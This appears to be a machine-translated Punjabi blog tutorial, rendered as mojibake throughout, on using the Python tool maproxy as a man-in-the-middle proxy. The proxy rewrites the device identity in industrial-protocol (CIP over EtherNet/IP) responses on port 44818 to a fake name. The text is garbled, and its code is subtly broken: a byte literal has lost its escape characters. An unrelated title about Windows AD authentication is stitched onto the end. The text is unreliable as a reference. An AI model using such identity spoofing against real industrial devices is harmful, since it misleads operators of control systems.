เจชเจนเจฟเจฒเจพเจ‚, เจ†เจ“ เจฆเฉ‡เจ–เฉ€เจ เจ•เจฟ เจธเฉ€เจ†เจˆเจชเฉ€ (เจ•เจพเจฎเจจ เจ‡เฉฐเจกเจธเจŸเจฐเฉ€เจ…เจฒ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ) เจคเฉ‹เจ‚ เจ‡เฉฑเจ• เจ†เจฎ เจชเจ›เจพเจฃ เจœเจตเจพเจฌ เจ•เจฟเจนเฉ‹ เจœเจฟเจนเจพ เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ:

เจซเจฒเจพเจˆ 'เจคเฉ‡ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจฆเฉ€ เจชเฉเจฐเจ•เจฟเจฐเจฟเจ† เจ•เจฐเฉ‹

เจกเจฟเจตเจพเจˆเจธ เจฆเฉ€ เจชเจ›เจพเจฃ เจˆเจฅเจฐเจจเฉˆเฉฑเจŸ/เจ†เจˆเจชเฉ€ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจชเฉ‚เจฐเฉ€ เจ•เฉ€เจคเฉ€ เจœเจพเจ‚เจฆเฉ€ เจนเฉˆ, เจœเฉ‹ เจ•เจฟ เจ‰เจฆเจฏเฉ‹เจ—เจฟเจ• เจˆเจฅเจฐเจจเฉˆเฉฑเจŸ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจฆเจพ เจ‡เฉฑเจ• เจตเจฟเจธเจคเฉเจฐเจฟเจค เจธเฉฐเจธเจ•เจฐเจฃ เจนเฉˆ เจœเฉ‹ เจธเฉ€เจ†เจˆเจชเฉ€ เจตเจฐเจ—เฉ‡ เจจเจฟเจฏเฉฐเจคเจฐเจฃ เจชเฉเจฐเฉ‹เจŸเฉ‹เจ•เฉ‹เจฒ เจจเฉ‚เฉฐ เจฒเจชเฉ‡เจŸเจฆเจพ เจนเฉˆเฅค เจ…เจธเฉ€เจ‚ เจนเจพเจˆเจฒเจพเจˆเจŸ เจ•เฉ€เจคเฉ‡ เจ†เจˆเจกเฉ€ เจจเจพเจฎ เจจเฉ‚เฉฐ เจฌเจฆเจฒเจฃ เจœเจพ เจฐเจนเฉ‡ เจนเจพเจ‚ เจœเฉ‹ เจธเจ•เฉเจฐเฉ€เจจเจธเจผเฉŒเจŸ เจตเจฟเฉฑเจš เจฆเจฟเจ–เจพเจˆ เจฆเจฟเฉฐเจฆเจพ เจนเฉˆ "เจˆเจฅเจฐเจจเฉˆเฉฑเจŸ เจฒเจˆ NI-IndComm" เจธเจพเจกเฉ€ เจชเฉเจฐเฉŒเจ•เจธเฉ€ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจฆเฉ‡ เจนเฉ‹เจเฅค เจ…เจธเฉ€เจ‚ เจธเจ•เฉเจฐเจฟเจชเจŸ เจฆเฉ€ เจฎเฉเฉœ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเจพเจ‚ logging_proxy.py เจ…เจคเฉ‡ เจ‡เจธเฉ‡ เจคเจฐเฉเจนเจพเจ‚ เจ•เจฒเจพเจธ เจตเจฟเจงเฉ€ เจจเฉ‚เฉฐ เจธเฉ‹เจงเฉ‹ on_p2s_done_read, เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ…เจธเฉ€เจ‚ เจšเจพเจนเฉเฉฐเจฆเฉ‡ เจนเจพเจ‚ เจ•เจฟ เจ•เจฒเจพเจ‡เฉฐเจŸ 'เจคเฉ‡ เจ‡เฉฑเจ• เจตเฉฑเจ–เจฐเจพ เจชเจ›เจพเจฃ เจจเจพเจฎ เจฆเจฟเจ–เจพเจˆ เจฆเฉ‡เจตเฉ‡เฅค

เจ•เฉ‹เจก:

[โ€ฆ]
 def on_p2s_done_read(self,data):
 # partial replacement of response

 # Checking if we got List Identity message response
     if data[26:28] == b'x0cx00':
         print('Got response, replacing')
         data = data[:63] + 'DUMMY31337'.encode('utf-8') + data[63+10:]
     super(LoggingSession,self).on_p2s_done_read(data)
[โ€ฆ]
server = maproxy.proxyserver.ProxyServer("1.3.3.7",44818,session_factory=LoggingSessionFactory())
server.listen(44818)
[โ€ฆ]

เจœเจผเจฐเฉ‚เจฐเฉ€ เจคเฉŒเจฐ 'เจคเฉ‡, เจ…เจธเฉ€เจ‚ เจฆเฉ‹ เจตเจพเจฐ เจกเจฟเจตเจพเจˆเจธ เจฆเฉ€ เจชเจ›เจพเจฃ เจฒเจˆ เจ•เจฟเจนเจพ, เจฆเฉ‚เจœเจพ เจœเจตเจพเจฌ เจ…เจธเจฒเฉ€ เจธเฉ€, เจ…เจคเฉ‡ เจชเจนเจฟเจฒเฉ€ เจจเฉ‚เฉฐ เจซเจฒเจพเจˆ 'เจคเฉ‡ เจธเฉ‹เจงเจฟเจ† เจ—เจฟเจ† เจธเฉ€เฅค

เจ…เจคเฉ‡ เจ†เจ–เจฐเฉ€

เจฎเฉ‡เจฐเฉ‡ เจตเจฟเจšเจพเจฐ เจ…เจจเฉเจธเจพเจฐ maproxy เจ‡เฉฑเจ• เจธเฉเจตเจฟเจงเจพเจœเจจเจ• เจ…เจคเฉ‡ เจธเจงเจพเจฐเจจ เจŸเฉ‚เจฒ, เจœเฉ‹ เจ•เจฟ เจชเจพเจˆเจฅเจจ เจตเจฟเฉฑเจš เจตเฉ€ เจฒเจฟเจ–เจฟเจ† เจ—เจฟเจ† เจนเฉˆ, เจ‡เจธ เจฒเจˆ เจฎเฉ‡เจฐเจพ เจฎเฉฐเจจเจฃเจพ เจนเฉˆ เจ•เจฟ เจคเฉเจธเฉ€เจ‚ เจตเฉ€ เจ‡เจธเจฆเฉ€ เจตเจฐเจคเฉ‹เจ‚ เจ•เจฐเจ•เฉ‡ เจฒเจพเจญ เจ‰เจ เจพ เจธเจ•เจฆเฉ‡ เจนเฉ‹เฅค เจฌเฉ‡เจธเจผเฉฑเจ•, เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจชเฉเจฐเฉ‹เจธเฉˆเจธ เจ•เจฐเจจ เจ…เจคเฉ‡ เจธเฉฐเจธเจผเฉ‹เจงเจฟเจค เจ•เจฐเจจ เจฒเจˆ เจตเจงเฉ‡เจฐเฉ‡ เจ—เฉเฉฐเจเจฒเจฆเจพเจฐ เจŸเฉ‚เจฒ เจนเจจ, เจชเจฐ เจ‰เจนเจจเจพเจ‚ เจจเฉ‚เฉฐ เจตเฉ€ เจตเจงเฉ‡เจฐเฉ‡ เจงเจฟเจ†เจจ เจฆเฉ‡เจฃ เจฆเฉ€ เจฒเฉ‹เฉœ เจนเฉเฉฐเจฆเฉ€ เจนเฉˆ เจ…เจคเฉ‡ เจ†เจฎ เจคเฉŒเจฐ 'เจคเฉ‡ เจ•เจฟเจธเฉ‡ เจ–เจพเจธ เจตเจฐเจคเฉ‹เจ‚ เจฆเฉ‡ เจ•เฉ‡เจธ เจฒเจˆ เจฌเจฃเจพเจ เจœเจพเจ‚เจฆเฉ‡ เจนเจจ, เจ‰เจฆเจพเจนเจฐเจจ เจฒเจˆ. เจฎเฉเจฐเฉˆเจจเจพ, เจฎเฉ‹เจกเจฒเจฟเจธเจผเจ•เจพ เจœ evilginx เจคเฉ€เจœเฉ‡ เจฆเฉ‡ เจธเจฎเจพเจจ เจฎเจพเจฎเจฒเจฟเจ†เจ‚ เจฒเจˆ, เจœเจพเจ‚ เจธเฉ‹เจซเจพ เจชเจฟเจ›เจฒเฉ‡ เจ•เฉ‡เจธ เจฒเจˆ. เจ‡เฉฑเจ• เจคเจฐเฉ€เจ•เฉ‡ เจจเจพเจฒ เจœเจพเจ‚ เจ•เฉ‹เจˆ เจนเฉ‹เจฐ, เจฎเจฆเจฆ เจจเจพเจฒ maproxy เจคเฉเจธเฉ€เจ‚ เจจเฉˆเฉฑเจŸเจตเจฐเจ• เจกเฉ‡เจŸเจพ เจจเฉ‚เฉฐ เจฐเฉ‹เจ•เจฃ เจฒเจˆ เจ†เจชเจฃเฉ‡ เจตเจฟเจšเจพเจฐเจพเจ‚ เจจเฉ‚เฉฐ เจคเฉ‡เจœเจผเฉ€ เจจเจพเจฒ เจฒเจพเจ—เฉ‚ เจ•เจฐ เจธเจ•เจฆเฉ‡ เจนเฉ‹, เจ•เจฟเจ‰เจ‚เจ•เจฟ เจ‰เจฆเจพเจนเจฐเจจ เจธเจ•เฉเจฐเจฟเจชเจŸเจพเจ‚ เจฌเจนเฉเจค เจธเจชเฉฑเจธเจผเจŸ เจนเจจเฅค

เจตเจฟเฉฐเจกเฉ‹เจœเจผ AD เจตเจฟเฉฑเจš เจชเฉเจฐเจฎเจพเจฃเจฟเจ•เจคเจพ เจตเจฟเจงเฉ€เจ†เจ‚ เจฆเฉ€ เจœเจพเจ‚เจš

เจธเจฐเฉ‹เจค: www.habr.com

เจ‡เฉฑเจ• เจŸเจฟเฉฑเจชเจฃเฉ€ เจœเฉ‹เฉœเฉ‹